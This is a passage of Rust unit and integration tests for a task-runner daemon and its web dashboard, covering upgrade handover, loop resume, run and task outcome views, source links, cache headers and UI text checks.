13030 )
13031 .with_launch(launch_idle);
13032 let looping = ui.looping();
13033 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13034 .await
13035 .expect("bind loopback");
13036 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13037
13038 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13039 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13040
13041 hand_over(home.path(), &looping, served, |_| Ok(()))
13042 .await
13043 .expect("hand over");
13044
13045 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13046 assert_eq!(
13047 after.stage,
13048 crate::updater::Stage::Restarting,
13049 "hand_over owns the record through parking and up to restarting; \
13050 the successor is what finishes it"
13051 );
13052 }
13053
13054 fn idle_ui(home: &TempDir) -> Ui {
13055 let runs = home.path().join("runs");
13056 std::fs::create_dir_all(&runs).expect("runs dir");
13057 Ui::new(
13058 Queue::at(home.path().join("queue")),
13059 Questions::at(home.path().join("questions")),
13060 Talks::at(home.path().join("talks")),
13061 runs,
13062 home.path().to_path_buf(),
13063 PathBuf::from("/repo/magi"),
13064 )
13065 .with_launch(launch_idle)
13066 }
13067
13068 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13070 let looping = ui.looping();
13071 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13072 .await
13073 .expect("bind loopback");
13074 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13075 let told = std::sync::Mutex::new(None);
13076 hand_over(home.path(), &looping, served, |resume| {
13077 *told.lock().unwrap() = Some(resume);
13078 Ok(())
13079 })
13080 .await
13081 .expect("hand over");
13082 told.into_inner().unwrap().expect("successor was started")
13083 }
13084
13085 #[tokio::test]
13086 async fn a_running_loop_is_resumed_by_the_successor() {
13087 let home = TempDir::new().expect("temp home");
13088 let ui = idle_ui(&home);
13089 ui.start_loop(None).expect("start");
13090 ui.park_for_upgrade().expect("park");
13091 for _ in 0..500 {
13093 if !ui.loop_view(None).running {
13094 break;
13095 }
13096 tokio::time::sleep(Duration::from_millis(2)).await;
13097 }
13098 assert!(handed_over(&home, ui).await, "a running loop must resume");
13099
13100 let successor = idle_ui(&home);
13101 assert!(!successor.loop_view(None).running);
13102 assert!(successor.resume_after_handover(true));
13103 assert!(successor.loop_view(None).running);
13104 successor.stop_loop(None, false).expect("stop");
13105 }
13106
13107 #[tokio::test]
13108 async fn a_second_upgrade_request_keeps_the_resume_intent() {
13109 let home = TempDir::new().expect("temp home");
13110 let ui = idle_ui(&home);
13111 ui.start_loop(None).expect("start");
13112 ui.park_for_upgrade().expect("first park");
13113 ui.park_for_upgrade().expect("second park");
13114 assert!(handed_over(&home, ui).await);
13115 }
13116
13117 #[tokio::test]
13118 async fn a_stop_during_the_handover_wait_is_honoured() {
13119 let home = TempDir::new().expect("temp home");
13120 let ui = idle_ui(&home);
13121 ui.start_loop(None).expect("start");
13122 ui.park_for_upgrade().expect("park");
13123 ui.stop_loop(None, false).expect("stop");
13124 assert!(!handed_over(&home, ui).await);
13125 }
13126
13127 #[tokio::test]
13128 async fn an_idle_loop_stays_stopped_across_the_handover() {
13129 let home = TempDir::new().expect("temp home");
13130 let ui = idle_ui(&home);
13131 ui.park_for_upgrade().expect("park");
13132 assert!(!handed_over(&home, ui).await);
13133
13134 let successor = idle_ui(&home);
13135 assert!(!successor.resume_after_handover(false));
13136 assert!(!successor.loop_view(None).running);
13137 }
13138
13139 #[tokio::test]
13140 async fn a_loop_the_operator_stopped_is_not_resumed() {
13141 let home = TempDir::new().expect("temp home");
13142 let ui = idle_ui(&home);
13143 ui.start_loop(None).expect("start");
13144 ui.stop_loop(None, false).expect("stop");
13145 ui.park_for_upgrade().expect("park");
13146 assert!(!handed_over(&home, ui).await);
13147 }
13148
13149 #[test]
13150 fn only_an_explicit_one_requests_a_resume() {
13151 assert!(!resume_requested(None));
13152 assert!(!resume_requested(Some("0".into())));
13153 assert!(!resume_requested(Some("".into())));
13154 assert!(resume_requested(Some("1".into())));
13155 }
13156
13157 #[test]
13158 fn the_upgrade_button_arms_before_it_restarts_anything() {
13159 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13162 assert!(APP_JS.contains("Replace the binary and restart?"));
13163 assert!(APP_JS.contains("function confirmed("));
13164 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13169 assert!(
13173 APP_JS.contains("Parking, then restarting"),
13174 "the button says what it is waiting for"
13175 );
13176 assert!(APP_JS.contains("if (!out.to)"));
13179 }
13180
13181 #[test]
13182 fn stopping_the_loop_arms_but_starting_does_not() {
13183 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13186 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13187 assert!(APP_JS.contains("confirmed(button, question)"));
13188 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
13191 assert!(APP_JS.contains("const label = btn.textContent;"));
13192 assert!(!APP_JS.contains("Neither direction is guarded"));
13193 }
13194
13195 #[test]
13196 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13197 assert!(
13198 APP_JS.contains("state.health.version"),
13199 "the operator wants to know what is running even with nothing newer"
13200 );
13201 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13202 }
13203
13204 #[test]
13205 fn the_upgrade_button_names_its_destination() {
13206 assert!(
13207 APP_JS.contains("`Update to ${update.to}`"),
13208 "pressing the button should not be a surprise about what it moves to"
13209 );
13210 }
13211
13212 #[test]
13213 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13214 for stage in ["downloading", "replaced", "parking", "restarting"] {
13215 assert!(
13216 APP_JS.contains(&format!("\"{stage}\"")),
13217 "the phone must be able to tell {stage} apart from the others"
13218 );
13219 }
13220 assert!(APP_JS.contains(".waiting_on"));
13221 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13226 assert!(APP_JS.contains("reconnects on its own"));
13227 }
13228
13229 #[test]
13230 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13231 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13240 ..APP_JS.find("function upgrade(").expect("upgrade")];
13241 assert!(
13242 !body.contains(
13243 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
13244 ),
13245 "a failed upgrade must not take the whole strip over the way it used to"
13246 );
13247 assert!(
13248 body.contains("upgradeFailNote"),
13249 "the failure has to reach the loop's own note instead"
13250 );
13251 assert_eq!(
13255 body.matches("upgradeFailNote].filter(Boolean).join")
13256 .count(),
13257 2,
13258 "both loop-why writers (quiet and control) must fold the note in"
13259 );
13260 }
13261
13262 #[test]
13263 fn an_overdue_upgrade_eventually_asks_for_a_human() {
13264 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13267 assert!(APP_JS.contains("function upgradeOverdue("));
13268 }
13269
13270 #[test]
13271 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13272 assert!(
13273 APP_JS.contains("Updated to ${upgradeInfo.to"),
13274 "the operator who asked for the restart wants to know it worked"
13275 );
13276 }
13277
13278 #[test]
13279 fn an_error_is_visible_from_where_the_button_is() {
13280 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13285 ..APP_CSS.find(".alert-text").expect(".alert-text")];
13286 assert!(
13287 alert.contains("position: fixed"),
13288 "an error about the thing under your thumb has to be visible from \
13289 where your thumb is: {alert}"
13290 );
13291 assert!(
13292 alert.contains("z-index: 25"),
13293 "above the dock (20) and the run-actions FAB (15), so neither \
13294 buries it: {alert}"
13295 );
13296 assert!(
13297 alert.contains("var(--tap)"),
13298 "and clear of the dock and the home indicator: {alert}"
13299 );
13300 assert!(
13303 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13304 "the FAB's column stays free: {alert}"
13305 );
13306 }
13307
13308 #[tokio::test]
13309 async fn an_older_attempt_says_what_replaced_it() {
13310 let fx = Fixture::start().await;
13311 let q = fx.queue();
13312 let runs = fx.runs();
13313 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13314 write_run(&runs, first, RunStatus::Stalled);
13315 write_run(&runs, second, RunStatus::Blocked);
13316
13317 let mut t = Task::new(
13318 "one task".to_owned(),
13319 "do it".to_owned(),
13320 PathBuf::from("/repo"),
13321 Source::Human,
13322 );
13323 t.runs = vec![first.to_owned(), second.to_owned()];
13324 q.put(&mut t).expect("put");
13325
13326 let rows = fx.get("/api/runs").await.json();
13330 let by = |short: &str| -> Value {
13331 rows.as_array()
13332 .unwrap()
13333 .iter()
13334 .find(|r| r["short"] == short)
13335 .cloned()
13336 .unwrap_or(Value::Null)
13337 };
13338 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13339 assert!(
13340 by("bbbb")["superseded_by"].is_null(),
13341 "the latest attempt is not superseded by anything"
13342 );
13343 assert!(APP_JS.contains("run.superseded_by"));
13345 assert!(APP_JS.contains("Superseded by"));
13346 }
13347
13348 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13349 let mut t = Task::new(
13350 "one task".to_owned(),
13351 "do it".to_owned(),
13352 PathBuf::from("/repo"),
13353 Source::Human,
13354 );
13355 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13356 t.status = status;
13357 t
13358 }
13359
13360 #[test]
13361 fn source_link_picks_the_page_that_filed_the_task() {
13362 let agent = |node: &str| Source::Agent {
13363 run: "20260904-014455-ab12".to_owned(),
13364 node: node.to_owned(),
13365 };
13366 let chat = source_link(&agent("chat")).expect("chat link");
13367 assert_eq!(chat.kind, "chat");
13368 assert_eq!(chat.id, "20260904-014455-ab12");
13369 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13370 let run = source_link(&agent("implement")).expect("run link");
13371 assert_eq!(
13372 (run.kind, run.href.as_str()),
13373 ("run", "#/runs/20260904-014455-ab12")
13374 );
13375 assert_eq!(source_link(&Source::Human), None);
13376 assert_eq!(
13377 source_link(&Source::Issue {
13378 number: 3,
13379 repo: "o/r".to_owned()
13380 }),
13381 None
13382 );
13383 let odd = source_link(&Source::Agent {
13384 run: "a b/c".to_owned(),
13385 node: "chat".to_owned(),
13386 })
13387 .expect("link");
13388 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13389 }
13390
13391 #[test]
13392 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13393 assert!(
13394 !APP_JS.contains("src.node === \"chat\""),
13395 "inline href rule is back"
13396 );
13397 assert!(
13398 APP_JS.matches("sourceLinkOf(").count() >= 4,
13399 "helper must serve every page"
13400 );
13401 assert!(
13402 APP_JS.matches("openChatLink(").count() >= 3,
13403 "the run page still needs its explicit chat link"
13404 );
13405 assert!(
13406 !APP_JS.contains("const openChat = el("),
13407 "the Queue card duplicates its source label link again"
13408 );
13409 assert!(
13410 APP_JS.contains("metaKids.push(link ? el(\"a\""),
13411 "the task page must link a chat source label too"
13412 );
13413 }
13414
13415 #[test]
13416 fn task_ref_carries_the_source_link_for_a_chat_task() {
13417 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13418 t.source = Source::Agent {
13419 run: "20260904-014455-ab12".to_owned(),
13420 node: "chat".to_owned(),
13421 };
13422 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13423 let v = serde_json::to_value(&out).expect("json");
13424 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13425 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13426 assert_eq!(v["source_label"], t.source.label());
13427
13428 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13429 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13430 .expect("json");
13431 assert!(v["source_link"].is_null(), "{v}");
13432 }
13433
13434 #[test]
13435 fn task_view_serializes_source_link() {
13436 let mut t = Task::new(
13437 "t".to_owned(),
13438 "t".to_owned(),
13439 PathBuf::from("/repo"),
13440 Source::Agent {
13441 run: "20260901-000000-aaaa".to_owned(),
13442 node: "implement".to_owned(),
13443 },
13444 );
13445 t.runs.clear();
13446 let v = serde_json::to_value(TaskView::from(t)).expect("json");
13447 assert_eq!(v["source_link"]["kind"], "run", "{v}");
13448 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13449 }
13450
13451 #[tokio::test]
13452 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13453 let fx = Fixture::start().await;
13454 let runs = fx.runs();
13455 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13456 write_run(&runs, old, RunStatus::Blocked);
13457 write_run(&runs, new, RunStatus::Merged);
13458 let mut t = outcome_task(&[old, new], TaskStatus::Done);
13459 fx.queue().put(&mut t).expect("put");
13460
13461 let view = fx.get(&format!("/api/runs/{old}")).await.json();
13462 let task = &view["task"];
13463 assert_eq!(task["status"], "done");
13464 assert_eq!(task["is_latest"], false);
13465 assert_eq!(task["latest"]["short"], "bbbb");
13466 assert_eq!(task["finished_by"]["id"], new);
13467 assert_eq!(task["finished_by"]["outcome"], "merged");
13468 assert_eq!(task["closed_by_hand"], false);
13469 assert_eq!(view["status"], "blocked", "the run keeps its own status");
13470 assert!(APP_JS.contains("finished_by"));
13471 assert!(APP_JS.contains("superseded by run"));
13472 }
13473
13474 #[tokio::test]
13475 async fn the_latest_run_reports_a_held_task_without_a_successor() {
13476 let fx = Fixture::start().await;
13477 let runs = fx.runs();
13478 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13479 write_run(&runs, old, RunStatus::Stalled);
13480 write_run(&runs, new, RunStatus::Blocked);
13481 let mut t = outcome_task(&[old, new], TaskStatus::Held);
13482 fx.queue().put(&mut t).expect("put");
13483
13484 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13485 assert_eq!(task["status"], "held");
13486 assert_eq!(task["is_latest"], true);
13487 assert!(task["latest"].is_null());
13488 assert!(task["finished_by"].is_null());
13489 assert_eq!(task["closed_by_hand"], false);
13490 }
13491
13492 #[tokio::test]
13493 async fn a_direct_run_has_no_task_outcome() {
13494 let fx = Fixture::start().await;
13495 let runs = fx.runs();
13496 let id = "20260901-000000-aaaa";
13497 write_run(&runs, id, RunStatus::Blocked);
13498 let view = fx.get(&format!("/api/runs/{id}")).await.json();
13499 assert!(view["task"].is_null());
13500 }
13501
13502 #[test]
13503 fn task_outcome_does_not_guess_a_finishing_run() {
13504 let a = "20260901-000000-aaaa";
13505 let b = "20260901-000000-bbbb";
13506 let c = "20260901-000000-cccc";
13507 let dir = tempfile::tempdir().expect("tempdir");
13508 write_run(dir.path(), a, RunStatus::Blocked);
13509 write_run(dir.path(), b, RunStatus::VerifiedNoop);
13510 let read = |id: &str| read_run(dir.path(), id).ok();
13512 let t = outcome_task(&[a, b, c], TaskStatus::Done);
13515 let out = task_outcome(&t, a, 3, read);
13516 assert!(out.finished_by.is_none());
13517 assert!(out.closed_by_hand);
13518 let latest = out.latest.expect("latest");
13519 assert_eq!(latest.id, c);
13520 assert_eq!(latest.status, None);
13521 assert_eq!(latest.outcome, "record unreadable");
13522
13523 write_run(dir.path(), c, RunStatus::Ready);
13525 let t = outcome_task(&[a, c], TaskStatus::Done);
13526 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13527 assert_eq!(out.finished_by.expect("finisher").id, c);
13528 assert!(!out.closed_by_hand);
13529
13530 let t = outcome_task(&[a, b, a], TaskStatus::Held);
13532 assert!(task_outcome(&t, a, 3, read).is_latest);
13533 }
13534
13535 #[tokio::test]
13536 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13537 let fx = Fixture::start().await;
13542 let q = fx.queue();
13543 let runs = fx.runs();
13544 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13545 write_run(&runs, first, RunStatus::Blocked);
13546 write_run(&runs, second, RunStatus::Merged);
13547
13548 let mut t = Task::new(
13549 "one task".to_owned(),
13550 "do it".to_owned(),
13551 PathBuf::from("/repo"),
13552 Source::Human,
13553 );
13554 t.runs = vec![first.to_owned(), second.to_owned()];
13555 q.put(&mut t).expect("put");
13556
13557 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13558 assert_eq!(earlier["superseded_by"], "dddd");
13559 assert_eq!(earlier["latest_attempt"]["id"], second);
13560 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13561 assert_eq!(
13562 earlier["latest_attempt"]["resolved"], true,
13563 "the run that replaced it landed, so this one reads as settled"
13564 );
13565
13566 let later = fx.get(&format!("/api/runs/{second}")).await.json();
13567 assert!(
13568 later["superseded_by"].is_null(),
13569 "the latest attempt is not superseded by anything"
13570 );
13571 assert!(
13572 later["latest_attempt"].is_null(),
13573 "the latest attempt has no later attempt of its own"
13574 );
13575
13576 assert!(APP_JS.contains("run.latest_attempt"));
13583 assert!(APP_JS.contains("data-superseded"));
13584 assert!(APP_JS.contains("#/runs/${latest.id}"));
13585 }
13586
13587 #[tokio::test]
13588 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13589 let fx = Fixture::start().await;
13595 let q = fx.queue();
13596 let runs = fx.runs();
13597 let (a, b, c) = (
13598 "20260901-000000-aaaa",
13599 "20260901-000000-bbbb",
13600 "20260901-000000-cccc",
13601 );
13602 write_run(&runs, a, RunStatus::Blocked);
13603 write_run(&runs, b, RunStatus::Blocked);
13604 write_run(&runs, c, RunStatus::Merged);
13605
13606 let mut t = Task::new(
13607 "retried twice".to_owned(),
13608 "do it".to_owned(),
13609 PathBuf::from("/repo"),
13610 Source::Human,
13611 );
13612 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13613 q.put(&mut t).expect("put");
13614
13615 let view = fx.get(&format!("/api/runs/{a}")).await.json();
13616 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13617 assert_eq!(
13618 view["latest_attempt"]["id"], c,
13619 "the chain's current head, not the intermediate Blocked retry"
13620 );
13621 assert_eq!(view["latest_attempt"]["resolved"], true);
13622
13623 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13624 assert_eq!(mid["latest_attempt"]["id"], c);
13625 assert_eq!(mid["latest_attempt"]["resolved"], true);
13626 }
13627
13628 #[tokio::test]
13629 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13630 let fx = Fixture::start().await;
13631 let q = fx.queue();
13632 let runs = fx.runs();
13633
13634 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13637 write_run(&runs, still_blocked_a, RunStatus::Blocked);
13638 write_run(&runs, still_blocked_b, RunStatus::Blocked);
13639 let mut t1 = Task::new(
13640 "still stuck".to_owned(),
13641 "do it".to_owned(),
13642 PathBuf::from("/repo"),
13643 Source::Human,
13644 );
13645 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13646 q.put(&mut t1).expect("put");
13647 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13648 assert_eq!(view1["latest_attempt"]["resolved"], false);
13649 assert_eq!(view1["latest_attempt"]["status"], "blocked");
13650 assert_eq!(view1["latest_attempt"]["done"], true);
13651
13652 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13654 write_run(&runs, run_a, RunStatus::Blocked);
13655 write_run(&runs, run_b, RunStatus::Implementing);
13656 let mut t3 = Task::new(
13657 "retrying".to_owned(),
13658 "do it".to_owned(),
13659 PathBuf::from("/repo"),
13660 Source::Human,
13661 );
13662 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13663 q.put(&mut t3).expect("put");
13664 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13665 assert_eq!(view3["latest_attempt"]["id"], run_b);
13666 assert_eq!(view3["latest_attempt"]["resolved"], false);
13667 assert_eq!(view3["latest_attempt"]["done"], false);
13668
13669 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13674 write_run(&runs, noop_a, RunStatus::Blocked);
13675 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13676 let mut t2 = Task::new(
13677 "claims done".to_owned(),
13678 "do it".to_owned(),
13679 PathBuf::from("/repo"),
13680 Source::Human,
13681 );
13682 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13683 q.put(&mut t2).expect("put");
13684 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13685 assert_eq!(
13686 view2["latest_attempt"]["resolved"], false,
13687 "an unverified no-op claim must not read as a confirmed finish"
13688 );
13689
13690 assert!(APP_JS.contains("latest.resolved"));
13693 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13696 assert!(APP_JS.contains("Latest attempt: "));
13697 assert!(APP_JS.contains("in flight"));
13698 assert!(APP_JS.contains("not resolved"));
13699 }
13700
13701 #[tokio::test]
13702 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13703 let fx = Fixture::start().await;
13704 let js = fx.get("/app.js").await;
13710 assert_eq!(js.status, 200);
13711 let tag = js
13712 .header("etag")
13713 .expect("an etag to revalidate against")
13714 .to_owned();
13715 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13716 assert_eq!(
13717 js.header("cache-control"),
13718 Some("no-cache, must-revalidate"),
13719 "the phone has to ask every time"
13720 );
13721
13722 let again = fx
13725 .get_with("/app.js", &[("if-none-match", tag.as_str())])
13726 .await;
13727 assert_eq!(
13728 again.status, 304,
13729 "a deck it already has costs one round trip"
13730 );
13731 assert!(again.body.is_empty(), "304 carries no body");
13732
13733 let weak = fx
13736 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13737 .await;
13738 assert_eq!(weak.status, 304);
13739 let stale = fx
13740 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13741 .await;
13742 assert_eq!(stale.status, 200, "an older build must be replaced");
13743 assert!(stale.body.contains("renderRunActions"));
13744 }
13745
13746 #[test]
13747 fn the_task_detail_has_an_actions_fab_and_sheet() {
13748 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13749 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13750 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13751 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13753 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13754 assert!(APP_JS.contains("renderTaskActions(task);"));
13756 assert!(APP_JS.contains("renderTaskActions(null);"));
13757 let sheet = APP_JS
13759 .find("function renderTaskActions")
13760 .expect("sheet renderer");
13761 let body = &APP_JS[sheet..sheet + 3000];
13762 assert!(body.contains("changePriority("));
13763 assert!(body.contains("openTaskEdit(task)"));
13764 assert!(body.contains("renderTaskHoldBox(host"));
13765 assert!(body.contains("renderTaskDoneBox(host"));
13766 assert!(body.contains("renderTaskDeleteBox(host"));
13767 assert!(APP_JS.contains("API.priority(id)"));
13768 assert!(APP_JS.contains("API.deleteTask(id)"));
13769 assert!(APP_JS.contains("location.hash = \"#/queue\""));
13771 assert!(APP_JS.contains("$(\"task-actions-error\")"));
13773 }
13774
13775 #[test]
13776 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13777 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13778 let actions = INDEX_HTML
13779 .find("id=\"run-actions-box\"")
13780 .expect("actions box");
13781 assert!(task < actions, "the task entry comes first in the sheet");
13782 assert!(APP_JS.contains("renderRunTaskEntry"));
13783 assert!(APP_JS.contains("\"Open task \""));
13784 assert!(APP_JS.contains("started directly, no task"));
13786 assert!(APP_JS.contains("sheet-task-link"));
13787 assert!(APP_JS.contains("task-chip-link"));
13788 }
13789
13790 #[test]
13791 fn the_deck_never_sends_the_operator_to_a_terminal() {
13792 assert!(
13795 !APP_JS.contains("Run `magi fold` first"),
13796 "the deck must offer the fold, not prescribe a shell command"
13797 );
13798 assert!(APP_JS.contains("foldRun:"));
13799 assert!(APP_JS.contains("resumeRun:"));
13800 assert!(APP_JS.contains("renderRunActions"));
13801
13802 assert!(APP_JS.contains("armedFold"));
13804 assert!(APP_JS.contains("Yes, fold worktrees"));
13805
13806 assert!(APP_JS.contains("can no longer be resumed"));
13809 }
13810
13811 #[test]
13812 fn a_finished_run_explains_itself_with_its_own_last_line() {
13813 assert!(
13819 !APP_JS.contains("collapsed on agent quota"),
13820 "a stall must not be explained by a cause the deck did not check"
13821 );
13822 assert!(
13823 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13824 "and a block must not offer a guess with an `or` in it"
13825 );
13826
13827 assert!(
13831 APP_JS.contains("setText(r.event, run.event || \"\")"),
13832 "the run's last line is rendered unconditionally"
13833 );
13834 assert!(
13835 !APP_JS.contains("moving && run.event"),
13836 "and never gated on the run still moving"
13837 );
13838
13839 assert!(APP_JS.contains("lost to quota"));
13841 }
13842
13843 #[test]
13865 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13866 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13867 let shapes_body_start =
13868 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13869 let shapes_close = APP_JS[shapes_body_start..]
13870 .find("].map(")
13871 .expect("the shape list is closed by its done-computing .map(...)")
13872 + shapes_body_start;
13873 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13874
13875 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13876 for entry in shapes_src.split('{').skip(1) {
13877 let waiting = entry.contains("waiting: true");
13878 let dead = entry.contains("live: \"dead\"");
13879 let status_at =
13880 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13881 let status_end = entry[status_at..]
13882 .find('"')
13883 .expect("the status string is closed")
13884 + status_at;
13885 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13886 }
13887 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13888
13889 let done_rule_marker = "done: !";
13893 let done_rule_at = APP_JS[shapes_close..]
13894 .find(done_rule_marker)
13895 .expect("the done rule follows the shape list")
13896 + shapes_close
13897 + done_rule_marker.len();
13898 let includes_at = APP_JS[done_rule_at..]
13899 .find(".includes(shape.status)")
13900 .expect("the done rule ends in .includes(shape.status)")
13901 + done_rule_at;
13902 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13903 .trim()
13904 .trim_start_matches('[')
13905 .trim_end_matches(']')
13906 .split(',')
13907 .map(|s| s.trim().trim_matches('"'))
13908 .filter(|s| !s.is_empty())
13909 .collect();
13910
13911 let shapes: Vec<(bool, String, bool, bool)> = shapes
13912 .into_iter()
13913 .map(|(waiting, status, dead)| {
13914 let done = !not_done.contains(&status.as_str());
13915 (waiting, status, dead, done)
13916 })
13917 .collect();
13918
13919 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
13923 if waiting {
13924 return "waiting";
13925 }
13926 if dead
13927 && !matches!(
13928 status,
13929 "merged"
13930 | "ready"
13931 | "stalled"
13932 | "blocked"
13933 | "failed"
13934 | "verified_noop"
13935 | "superseded"
13936 | "already_in_base"
13937 )
13938 {
13939 return "stale";
13940 }
13941 match status {
13942 "merged" | "ready" => "landed",
13943 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
13944 | "already_in_base" => "ended",
13945 _ => "flight",
13946 }
13947 }
13948
13949 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
13952 match filter_key {
13953 "active" => !done,
13954 "flight" => !done && !waiting && !dead,
13955 "stale" => !done && !waiting && dead,
13956 "waiting" => waiting,
13957 "done" => done,
13958 "all" => true,
13959 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
13960 }
13961 }
13962
13963 let compatible = |section: &str, filter_key: &str| {
13964 shapes.iter().any(|(waiting, status, dead, done)| {
13965 run_section(*waiting, status, *dead) == section
13966 && filter_matches(filter_key, *waiting, *dead, *done)
13967 })
13968 };
13969
13970 let expected = [
13975 ("waiting", [true, false, false, true, true, true]),
13976 ("stale", [true, false, true, false, false, true]),
13977 ("flight", [true, true, false, false, false, true]),
13978 ("landed", [false, false, false, false, true, true]),
13979 ("ended", [false, false, false, false, true, true]),
13980 ];
13981 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
13982
13983 for (section, wants) in expected {
13984 for (filter_key, want) in filter_keys.iter().zip(wants) {
13985 assert_eq!(
13986 compatible(section, filter_key),
13987 want,
13988 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
13989 );
13990 }
13991 }
13992
13993 assert!(
13996 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
13997 );
13998 assert!(APP_JS.contains(
13999 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14000 ));
14001 assert!(APP_JS.contains(
14002 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14003 ));
14004 }
14005
14006 #[tokio::test]
14007 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14008 let dir = tempfile::tempdir().expect("tempdir");
14012 let explicit = dir.path().join("not-a-checkout");
14013 std::fs::create_dir_all(&explicit).expect("create dir");
14014 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14015
14016 let missing = dir.path().join("does-not-exist-at-all");
14017 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14018 }
14019}